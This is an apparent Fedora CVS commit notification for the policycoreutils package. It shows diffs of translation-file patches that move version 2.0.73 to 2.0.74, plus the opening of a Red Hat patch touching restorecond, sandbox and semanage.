 hr.po               | 2997 ++++++++++++++++++++-----------
 hu.po               | 3071 +++++++++++++++++++++++++++----
 hy.po               | 2449 +++++++++++++++++++++++--
 id.po               | 2447 +++++++++++++++++++++++--
 is.po               | 2449 +++++++++++++++++++++++--
 it.po               | 4531 ++++++++++++++++++++++++++---------------------
 ja.po               | 4183 ++++++++++++++++++++++++-------------------
 ka.po               | 2449 +++++++++++++++++++++++--
 kn.po               | 3841 ++++++++++-----------------------------
 ko.po               | 2793 ++++++++++++++++++++++++-----
 ku.po               | 2449 +++++++++++++++++++++++--
 lo.po               | 2449 +++++++++++++++++++++++--
 lt.po               | 2449 +++++++++++++++++++++++--
 lv.po               | 2449 +++++++++++++++++++++++--
 mai.po              | 3462 ++++++++++++++++++++++++++++++++++++
 mk.po               | 2505 +++++++++++++++++++++++---
 ml.po               | 4274 ++++++++++++++++++++++++--------------------
 mr.po               | 4156 ++++++++++++++++++++++++-------------------
 ms.po               | 2498 +++++++++++++++++++++++--
 my.po               | 2449 +++++++++++++++++++++++--
 nb.po               | 2485 +++++++++++++++++++++++--
 nl.po               | 2920 ++++++++++++++++++++++++------
 nn.po               | 2449 +++++++++++++++++++++++--
 no.po               | 1272 -------------
 nso.po              | 2449 +++++++++++++++++++++++--
 or.po               | 3984 +++++++++++++++++++++++------------------
 pa.po               | 4075 +++++++++++++++++++++++-------------------
 pl.po               | 4024 +++++++++++++++++++++++------------------
 policycoreutils.pot | 2485 +++++++++++++++++++++++--
 pt.po               | 4999 ++++++++++++++++++++++++++++------------------------
 pt_BR.po            | 4979 ++++++++++++++++++++++++++++-----------------------
 ro.po               | 2449 +++++++++++++++++++++++--
 ru.po               | 3468 +++++++++++++++++++++++-------------
 si.po               | 2449 +++++++++++++++++++++++--
 sk.po               | 2505 +++++++++++++++++++++++---
 sl.po               | 2449 +++++++++++++++++++++++--
 sq.po               | 2449 +++++++++++++++++++++++--
 sr.po               | 4125 ++++++++++++++++++++++++------------------
 sr at latin.po         | 4135 ++++++++++++++++++++++++-------------------
 sv.po               | 3165 ++++++++++++++++++++++----------
 ta.po               | 3935 ++++++++++++++++++++++++++--------------
 te.po               | 4069 +++++++++++++++++++++++-------------------
 th.po               | 2449 +++++++++++++++++++++++--
 tr.po               | 2449 +++++++++++++++++++++++--
 uk.po               | 2505 +++++++++++++++++++++++---
 ur.po               | 2449 +++++++++++++++++++++++--
 vi.po               | 2449 +++++++++++++++++++++++--
 zh_CN.po            | 3887 +++++++++++++++++++++++-----------------
 zh_TW.po            | 4174 ++++++++++++++++++++++++-------------------
 zu.po               | 2449 +++++++++++++++++++++++--
 79 files changed, 173532 insertions(+), 59940 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.56 -r 1.57 policycoreutils-po.patchIndex: policycoreutils-po.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-po.patch,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- policycoreutils-po.patch	14 Sep 2009 19:39:09 -0000	1.56
+++ policycoreutils-po.patch	1 Oct 2009 15:39:04 -0000	1.57
@@ -1,6 +1,6 @@
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/af.po policycoreutils-2.0.73/po/af.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/af.po policycoreutils-2.0.74/po/af.po
 --- nsapolicycoreutils/po/af.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/af.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/af.po	2009-09-30 11:35:04.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -3045,9 +3045,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/am.po policycoreutils-2.0.73/po/am.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/am.po policycoreutils-2.0.74/po/am.po
 --- nsapolicycoreutils/po/am.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/am.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/am.po	2009-09-30 11:35:04.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -6092,9 +6092,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ar.po policycoreutils-2.0.73/po/ar.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ar.po policycoreutils-2.0.74/po/ar.po
 --- nsapolicycoreutils/po/ar.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/ar.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/ar.po	2009-09-30 11:35:04.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -9139,9 +9139,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/as.po policycoreutils-2.0.73/po/as.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/as.po policycoreutils-2.0.74/po/as.po
 --- nsapolicycoreutils/po/as.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/as.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/as.po	2009-09-30 11:35:04.000000000 -0400
 @@ -1,23 +1,23 @@
 -# translation of as.po to Assamese
 +# translation of policycoreutils.HEAD.po to Assamese
@@ -13726,9 +13726,9 @@ diff --exclude-from=exclude -N -u -r nsa
 -#~ "MLS/\n"
 -#~ "MCS Level"
 -#~ msgstr "????"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/be.po policycoreutils-2.0.73/po/be.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/be.po policycoreutils-2.0.74/po/be.po
 --- nsapolicycoreutils/po/be.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/be.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/be.po	2009-09-30 11:35:04.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -16773,9 +16773,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bg.po policycoreutils-2.0.73/po/bg.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bg.po policycoreutils-2.0.74/po/bg.po
 --- nsapolicycoreutils/po/bg.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/bg.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/bg.po	2009-09-30 11:35:04.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: policycoreutils\n"
@@ -21342,9 +21342,9 @@ diff --exclude-from=exclude -N -u -r nsa
  #~ msgid "Requires value"
  #~ msgstr "??????? ????????"
  
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bn_IN.po policycoreutils-2.0.73/po/bn_IN.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bn_IN.po policycoreutils-2.0.74/po/bn_IN.po
 --- nsapolicycoreutils/po/bn_IN.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/bn_IN.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/bn_IN.po	2009-09-30 11:35:04.000000000 -0400
 @@ -9,10 +9,10 @@
  msgstr ""
  "Project-Id-Version: policycoreutils.HEAD\n"
@@ -26103,9 +26103,9 @@ diff --exclude-from=exclude -N -u -r nsa
 -#~ "Enforcing\n"
 -#~ "Permissive\n"
 -#~ "Disabled\n"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bn.po policycoreutils-2.0.73/po/bn.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bn.po policycoreutils-2.0.74/po/bn.po
 --- nsapolicycoreutils/po/bn.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/bn.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/bn.po	2009-09-30 11:35:04.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -29150,9 +29150,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bs.po policycoreutils-2.0.73/po/bs.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/bs.po policycoreutils-2.0.74/po/bs.po
 --- nsapolicycoreutils/po/bs.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/bs.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/bs.po	2009-09-30 11:35:04.000000000 -0400
 @@ -4,7 +4,7 @@
  msgstr ""
  "Project-Id-Version: bs\n"
@@ -32287,9 +32287,9 @@ diff --exclude-from=exclude -N -u -r nsa
  
  #~ msgid "Requires value"
  #~ msgstr "Zahtijeva vrijednost"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ca.po policycoreutils-2.0.73/po/ca.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ca.po policycoreutils-2.0.74/po/ca.po
 --- nsapolicycoreutils/po/ca.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/ca.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/ca.po	2009-09-30 11:35:04.000000000 -0400
 @@ -5,6 +5,8 @@
  #
  # Josep Puigdemont Casamaj? <josep.puigdemont at gmail.com>, 2006.
@@ -35811,9 +35811,9 @@ diff --exclude-from=exclude -N -u -r nsa
  
 -#~ msgid "Options Error: %s "
 -#~ msgstr "Error en les opcions: %s "
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/cs.po policycoreutils-2.0.73/po/cs.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/cs.po policycoreutils-2.0.74/po/cs.po
 --- nsapolicycoreutils/po/cs.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/cs.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/cs.po	2009-09-30 11:35:04.000000000 -0400
 @@ -9,7 +9,7 @@
  msgstr ""
  "Project-Id-Version: cs\n"
@@ -39433,9 +39433,9 @@ diff --exclude-from=exclude -N -u -r nsa
  #~ msgid "<b>Device number:</b>"
  #~ msgstr "<b>??slo za??zen?:</b>"
  
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/cy.po policycoreutils-2.0.73/po/cy.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/cy.po policycoreutils-2.0.74/po/cy.po
 --- nsapolicycoreutils/po/cy.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/cy.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/cy.po	2009-09-30 11:35:04.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -42480,9 +42480,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/da.po policycoreutils-2.0.73/po/da.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/da.po policycoreutils-2.0.74/po/da.po
 --- nsapolicycoreutils/po/da.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/da.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/da.po	2009-09-30 11:35:04.000000000 -0400
 @@ -1,24 +1,25 @@
 -# translation of da.po to
 -# Danish messages for policycoreutils.
@@ -46376,9 +46376,9 @@ diff --exclude-from=exclude -N -u -r nsa
  #~ "skal du k?re \n"
  #~ "\n"
  #~ "semodule -i %s.pp\n"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/de.po policycoreutils-2.0.73/po/de.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/de.po policycoreutils-2.0.74/po/de.po
 --- nsapolicycoreutils/po/de.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/de.po	2009-09-14 15:37:43.000000000 -0400
++++ policycoreutils-2.0.74/po/de.po	2009-09-30 11:35:04.000000000 -0400
 @@ -1,28 +1,30 @@
 -# translation of policycoreutils.HEAD.de.po to German
 +# translation of policycoreutils.HEAD.de.po to
@@ -46405,7 +46405,7 @@ diff --exclude-from=exclude -N -u -r nsa
 -"Last-Translator: Daniela Kugelmann <dkugelma at redhat.com >\n"
 -"Language-Team: German <i18 at redhat.com>\n"
 +"POT-Creation-Date: 2008-09-09 13:24-0400\n"
-+"PO-Revision-Date: 2009-09-14 17:02+1000\n"
++"PO-Revision-Date: 2009-09-15 12:02+1000\n"
 +"Last-Translator: Hedda Peters <hpeters at redhat.com>\n"
 +"Language-Team: \n"
  "MIME-Version: 1.0\n"
@@ -46476,9 +46476,12 @@ diff --exclude-from=exclude -N -u -r nsa
  #, c-format
  msgid "Could not set exec context to %s.\n"
  msgstr "Konnte exec-Kontext nicht auf %s setzen.\n"
-@@ -99,839 +103,874 @@
+@@ -97,841 +101,876 @@
+ 
+ #: ../audit2allow/audit2allow:218
  msgid "To make this policy package active, execute:"
- msgstr "Um dieses Richtlinien-Paket zu aktivieren, f?hren sie folgendes aus:"
+-msgstr "Um dieses Richtlinien-Paket zu aktivieren, f?hren sie folgendes aus:"
++msgstr "Um dieses Richtlinien-Paket zu aktivieren, f?hren Sie folgendes aus:"
  
 -#: ../semanage/seobject.py:48
 +#: ../semanage/seobject.py:49
@@ -47265,31 +47268,36 @@ diff --exclude-from=exclude -N -u -r nsa
 +#: ../semanage/seobject.py:1261
  #, python-format
[...9229 lines suppressed...]
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/si.po policycoreutils-2.0.73/po/si.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/si.po policycoreutils-2.0.74/po/si.po
 --- nsapolicycoreutils/po/si.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/si.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/si.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -224120,9 +224538,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sk.po policycoreutils-2.0.73/po/sk.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sk.po policycoreutils-2.0.74/po/sk.po
 --- nsapolicycoreutils/po/sk.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/sk.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/sk.po	2009-09-30 11:35:05.000000000 -0400
 @@ -7,7 +7,7 @@
  msgstr ""
  "Project-Id-Version: policycoreutils\n"
@@ -227257,9 +227675,9 @@ diff --exclude-from=exclude -N -u -r nsa
  
  #~ msgid "Requires value"
  #~ msgstr "Po?aduje hodnotu"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sl.po policycoreutils-2.0.73/po/sl.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sl.po policycoreutils-2.0.74/po/sl.po
 --- nsapolicycoreutils/po/sl.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/sl.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/sl.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -230304,9 +230722,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sq.po policycoreutils-2.0.73/po/sq.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sq.po policycoreutils-2.0.74/po/sq.po
 --- nsapolicycoreutils/po/sq.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/sq.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/sq.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -233351,9 +233769,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sr at latin.po policycoreutils-2.0.73/po/sr at latin.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sr at latin.po policycoreutils-2.0.74/po/sr at latin.po
 --- nsapolicycoreutils/po/sr at latin.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/sr at latin.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/sr at latin.po	2009-09-30 11:35:05.000000000 -0400
 @@ -1,26 +1,24 @@
 -# translation of policycoreutils.HEAD.sr.po to Serbian
  # Serbian(Latin) translations for policycoreutils
@@ -238224,9 +238642,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr "SELinux korisnik ?%s? je neophodan"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sr.po policycoreutils-2.0.73/po/sr.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sr.po policycoreutils-2.0.74/po/sr.po
 --- nsapolicycoreutils/po/sr.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/sr.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/sr.po	2009-09-30 11:35:05.000000000 -0400
 @@ -1,26 +1,24 @@
 -# translation of policycoreutils.HEAD.sr.po to Serbian
  # Serbian translations for policycoreutils
@@ -243089,9 +243507,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr "SELinux ???????? ?%s? ?? ?????????"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sv.po policycoreutils-2.0.73/po/sv.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/sv.po policycoreutils-2.0.74/po/sv.po
 --- nsapolicycoreutils/po/sv.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/sv.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/sv.po	2009-09-30 11:35:05.000000000 -0400
 @@ -1,16 +1,18 @@
  # Swedish messages for policycoreutils.
 -# Copyright ? 2001-2008 Free Software Foundation, Inc.
@@ -247177,9 +247595,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr "SELinux-anv?ndare \"%s\" kr?vs"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ta.po policycoreutils-2.0.73/po/ta.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ta.po policycoreutils-2.0.74/po/ta.po
 --- nsapolicycoreutils/po/ta.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/ta.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/ta.po	2009-09-30 11:35:05.000000000 -0400
 @@ -1,28 +1,23 @@
 -# translation of ta.po to Tamil
 +# translation of policycoreutils.HEAD.ta.po to Tamil
@@ -251868,9 +252286,9 @@ diff --exclude-from=exclude -N -u -r nsa
 -#~ msgstr ""
 -#~ "MLS/\n"
 -#~ "MCS ????"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/te.po policycoreutils-2.0.73/po/te.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/te.po policycoreutils-2.0.74/po/te.po
 --- nsapolicycoreutils/po/te.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/te.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/te.po	2009-09-30 11:35:05.000000000 -0400
 @@ -1,21 +1,23 @@
 -# translation of new_policycoreutils.HEAD.te.po to Telugu
 +# translation of policycoreutils.HEAD.te.po to Telugu
@@ -256649,9 +257067,9 @@ diff --exclude-from=exclude -N -u -r nsa
 -#~ "???????\n"
 -#~ "????????\n"
 -#~ "????????\n"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/th.po policycoreutils-2.0.73/po/th.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/th.po policycoreutils-2.0.74/po/th.po
 --- nsapolicycoreutils/po/th.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/th.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/th.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -259696,9 +260114,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/tr.po policycoreutils-2.0.73/po/tr.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/tr.po policycoreutils-2.0.74/po/tr.po
 --- nsapolicycoreutils/po/tr.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/tr.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/tr.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -262743,9 +263161,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/uk.po policycoreutils-2.0.73/po/uk.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/uk.po policycoreutils-2.0.74/po/uk.po
 --- nsapolicycoreutils/po/uk.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/uk.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/uk.po	2009-09-30 11:35:05.000000000 -0400
 @@ -7,7 +7,7 @@
  msgstr ""
  "Project-Id-Version: policycoreutils\n"
@@ -265880,9 +266298,9 @@ diff --exclude-from=exclude -N -u -r nsa
  
  #~ msgid "Requires value"
  #~ msgstr "???????? ??????? ????????"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ur.po policycoreutils-2.0.73/po/ur.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/ur.po policycoreutils-2.0.74/po/ur.po
 --- nsapolicycoreutils/po/ur.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/ur.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/ur.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -268927,9 +269345,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/vi.po policycoreutils-2.0.73/po/vi.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/vi.po policycoreutils-2.0.74/po/vi.po
 --- nsapolicycoreutils/po/vi.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/vi.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/vi.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"
@@ -271974,9 +272392,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +#, python-format
 +msgid "SELinux user '%s' is required"
 +msgstr ""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/zh_CN.po policycoreutils-2.0.73/po/zh_CN.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/zh_CN.po policycoreutils-2.0.74/po/zh_CN.po
 --- nsapolicycoreutils/po/zh_CN.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/zh_CN.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/zh_CN.po	2009-09-30 11:35:05.000000000 -0400
 @@ -3,13 +3,13 @@
  # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER, 2006.
  #
@@ -276595,9 +277013,9 @@ diff --exclude-from=exclude -N -u -r nsa
  
 -#~ msgid "SELinux user '%s' is required"
 -#~ msgstr "SELinux ?? '%s' ????"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/zh_TW.po policycoreutils-2.0.73/po/zh_TW.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/zh_TW.po policycoreutils-2.0.74/po/zh_TW.po
 --- nsapolicycoreutils/po/zh_TW.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/zh_TW.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/zh_TW.po	2009-09-30 11:35:05.000000000 -0400
 @@ -1,19 +1,19 @@
 -# translation of policycoreutils.HEAD.po to Traditional Chinese
 +# translation of policycoreutils.HEAD.po to
@@ -281513,9 +281931,9 @@ diff --exclude-from=exclude -N -u -r nsa
 -#~ msgstr ""
 -#~ "tcp\n"
 -#~ "udp"
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/zu.po policycoreutils-2.0.73/po/zu.po
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/po/zu.po policycoreutils-2.0.74/po/zu.po
 --- nsapolicycoreutils/po/zu.po	2009-06-30 07:56:04.000000000 -0400
-+++ policycoreutils-2.0.73/po/zu.po	2009-09-14 15:37:44.000000000 -0400
++++ policycoreutils-2.0.74/po/zu.po	2009-09-30 11:35:05.000000000 -0400
 @@ -8,7 +8,7 @@
  msgstr ""
  "Project-Id-Version: PACKAGE VERSION\n"

policycoreutils-rhat.patch:
 Makefile                                    |    2 
 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond.c                   |  422 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond_user.conf           |    2 
 restorecond/user.c                          |  237 ++++++++++
 restorecond/watch.c                         |  254 +++++++++++
 sandbox/Makefile                            |   31 +
 sandbox/sandbox                             |  222 +++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 semanage/semanage                           |   97 ++--
 semanage/seobject.py                        |  209 +++++----
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 ++
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/setfiles.c                         |  643 +++-------------------------
 28 files changed, 2077 insertions(+), 1063 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-rhat.patch,v
retrieving revision 1.446
retrieving revision 1.447
diff -u -p -r1.446 -r1.447
--- policycoreutils-rhat.patch	21 Sep 2009 13:54:02 -0000	1.446
+++ policycoreutils-rhat.patch	1 Oct 2009 15:39:10 -0000	1.447
@@ -1,6 +1,6 @@
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/audit2allow/audit2allow policycoreutils-2.0.74/audit2allow/audit2allow
---- nsapolicycoreutils/audit2allow/audit2allow	2009-01-13 05:45:35.000000000 -0800
-+++ policycoreutils-2.0.74/audit2allow/audit2allow	2009-09-20 18:26:36.000000000 -0700
+--- nsapolicycoreutils/audit2allow/audit2allow	2009-01-13 08:45:35.000000000 -0500
++++ policycoreutils-2.0.74/audit2allow/audit2allow	2009-09-20 21:26:36.000000000 -0400
 @@ -42,6 +42,8 @@
          from optparse import OptionParser
  
@@ -39,19 +39,29 @@ diff --exclude-from=exclude --exclude=se
              # This is the default if no input is specified
              f = sys.stdin
